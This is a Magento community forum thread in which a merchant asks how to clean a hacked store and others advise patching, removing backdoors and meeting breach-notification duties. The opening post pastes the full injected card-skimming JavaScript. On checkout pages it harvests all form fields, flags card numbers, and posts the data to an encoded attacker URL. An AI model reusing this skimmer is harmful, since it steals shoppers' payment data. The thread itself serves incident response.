cancel
Showing results for 
Search instead for 
Did you mean: 

Virus/hack

SOLVED

Virus/hack

Hello,

 

I currently have a website which has been hacked, if you run an securi sitecheck it shows up with the malware MW:JS:GEN2?web.js.malware.magento_shoplift.005, this was found on the urls/folders below, any idea how I can clean the website to remove the virus?

 

/?SID=h2n50nhu3i6jfo4eelof0f4la0

/?SID=h2n50nhu3i6jfo4eelof0f4la0/404testpage4525d2fdc

/?SID=h2n50nhu3i6jfo4eelof0f4la0/404javascript.js

/customer/account/

/wishlist/

/checkout/cart/

 

Known javascript malware. Details: http://sucuri.net/malware/entry/MW:JS:GEN2?web.js.malware.magento_shoplift.005
        //]]></script><script type="text/javascript">function jj(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}jj("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+jj("SESSIID")),console.clear()}}})});</script>

 

5 REPLIES

Re: Virus/hack

Hi @jamesbmagento 

 

Have you applied all the patches released by Magento?

 

Please check following url New JavaScript Malware Issue

---
Problem Solved Click Accept as Solution!:Magento Community India Forum

Re: Virus/hack

The magento website uses a theme, I feel uneasy applying the patches in case this messes up the website, or will it not? Smiley Happy

Re: Virus/hack

The patch is more on backend code, not theme code. There is no question that you should apply the patch. If the theme was well written, it shouldn't affect it at all.

-Kris
4x Certified, Blogger @ xgento.com

Re: Virus/hack

Better to have a messed up website than messed up customers. It's not worth clearing out any of this infection as the vulnerability holes are so big you can float an oil tanker through them and the site will be reinfected within minutes if scripted attacks are actively being run against this website.

 

Get it patched, remove all injected admin users, unwanted module installs and backdoors. Only after you have secured the site, can you even begin to clean out the virus redirect infection code.

 

Most of these attacks are set up to infect all your website visitor's computers AND harvest all credit card information for immediate transmission to criminal third parties. Anyone who's placed an order on this website has been compromised.

Re: Virus/hack

I agree with the technical recommendations offered by @chiefair's accepted answer, but I recently answered a couple of similar or at least related questions on the Magento Stack Exchange and thought I would follow up with some of the additional insights from a few more recent remediation efforts.

A security incident like this one is a challenge that must be addressed with responses from both the technical and business perspectives and given that the business implications include potential regulatory and contractual requirements that specifically impact the technical actions you may be required to perform, I thought I would outline them together in this answer.

 

Before performing any of the earlier recommended technical activities, review the following and determine which, if any, are allowed given the regulations you are subject to in your location and the contracts you have entered into with your issuing banks, gateway providers and processing service partners.

 

  1. You should first take some time to review the Official Magento Security Best Practices Guide. It contains a wealth of information to help you deal with a compromised installation as well as how to prevent it from happening in the future.

    It's based on the work of the Magento Security Team as well as knowledge shared by several Magento Security Experts both on Magento Stack Exchange and here in the Magento Community Forums.

  2. If this site generates any real volume of transactions, you should probably not attempt to resolve the issue completely on your own. Contact a Magento Security Expert who is familiar with all of the following:

    1) The specific Magento version you are running

    2) The laws covering Data Breaches, Privacy Protections, and Customer Notification Requirements that govern Merchants operating in and/or located in your geographical region.

    3) Reviewing contracts and business partner agreements with your Merchant's Gateway Provider, Processing Services, and Credit Card Companies

Depending on your location, you may be subject to local, regional, and / or national laws that require you to either perform very specific actions in response to a security event or to engage the assistance of someone (or a company) that is specifically licensed as a forensic information security specialist.

In addition, the fine print of the credit card processing agreements signed with the store's Credit Card Merchant Gateway, Financial Institution, Issuing Bank, and the Credit Companies themselves may require other specific actions be performed and that law enforcement be engaged or the store may be held responsible for any charges incurred by the attacker(s).

Finally, again, depending on your location, your store may be required by law to notify the customers of the data breach in very specific ways and the Nation / States in which your customers reside may impose additional requirements on notifying affected customers. Failure to comply with these requirements might make the store subject liable for fines and penalties outside of any costs imposed by your processing company or gateway provider.

These laws & contractual requirements vary greatly across different geographical regions and also across different financial institution and businesses that offer clearing and gateway services to merchants so it is important to engage the services of someone who is both a Magento Security Expert and also familiar with the laws specific to your geographic location and who can assist you with both the technical effort in remediating your hacked site as well as the business activities required by any contracts that have been entered into by the Merchant.

Once you have identified a suitably experienced partner to assist you in your remediation effort, ask them to confirm the next technical steps to take, including actions such as imaging the compromised system, contacting law enforcement, disconnecting the system from the network and investigating the affected systems.

REMEMBER: You are no longer in possession of JUST a hacked system! Your compromised Magento installation is now also an ACTIVE crime scene, and in many jurisdictions, the crime is a severe one. In the US, it's almost universally a felony (severe crime) with specific prohibitions against tampering with evidence left behind by the perpetuators of the criminal act without proper supervision of licensed personnel and/or law enforcement professionals.

It would be unwise to bring the system back to a working state only to find out that you YOURSELF had just committed a crime punishable by fine and/or jail time. Standard Disclaimer: I am not a lawyer and this does not constitute legal advice.

 

See Also:

 

 

Note: Most of the links above point to resources specifically written for US Merchants, but they all also contain links for merchants in other regions as well as contact information to engage the specific security support teams to assist you in your own location.

------------------------
Bryan "BJ" Hoffpauir - Contact me on my Blog!

Contact me at work via AOE - the open web company online!